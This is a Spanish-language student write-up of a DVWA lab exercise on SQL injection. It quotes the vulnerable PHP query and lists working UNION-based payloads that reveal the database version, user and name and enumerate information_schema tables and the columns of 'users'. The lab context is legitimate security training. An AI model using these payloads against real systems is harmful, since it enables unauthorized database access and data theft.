Seguimos las instrucciones del ejercicio e instalamos la máquina virtual con el DVWA:
Una vez hecho probamos las diferentes técnicas de SQL injection. El código fuente PHP pone algo así como esto:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
Por tanto podemos utilizar técnicas de SQL Injection en él. Por ejemplo:
%' or '0'='0
haría que la query fuera:
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';
O sea, mostraría los campos first_name y last_name de todos los usuarios:
Si usamos un SQL injection con:
%' or 0=0 union select null, version() #
Nos mostrará los campos first_name y last_name de todos los usuarios, y al final (union) la version del S.O:
La razón de poner "null" es que siempre tiene que haber dos campos (en este caso).
Si usamos un SQL injection con:
%' or 0=0 union select null, user() #
Nos mostrará los campos first_name y last_name de todos los usuarios, y al final (union) el usuario con el que se ejecuta la base de datos:
Si usamos un SQL injection con:
%' or 0=0 union select null, database() #
Nos mostrará los campos first_name y last_name de todos los usuarios, y al final (union) el nombre de la base de datos:
A partir de aqui comienza lo que se nos pide en la tarea:
%' and 1=0 union select null, table_name from information_schema.tables #
Nos muestra todas las tablas del "information_schema". Aqui ya no muestra los first name y last name (para quitarnos paja), gracias al 'and 1=0')
Con la sentencia:
%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
Nos muestra todas las tablas que comienzan por "user":
Por ultimo, con algo como esto:
%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
Usando concat, podemos mostrar más de dos campos de cada vez: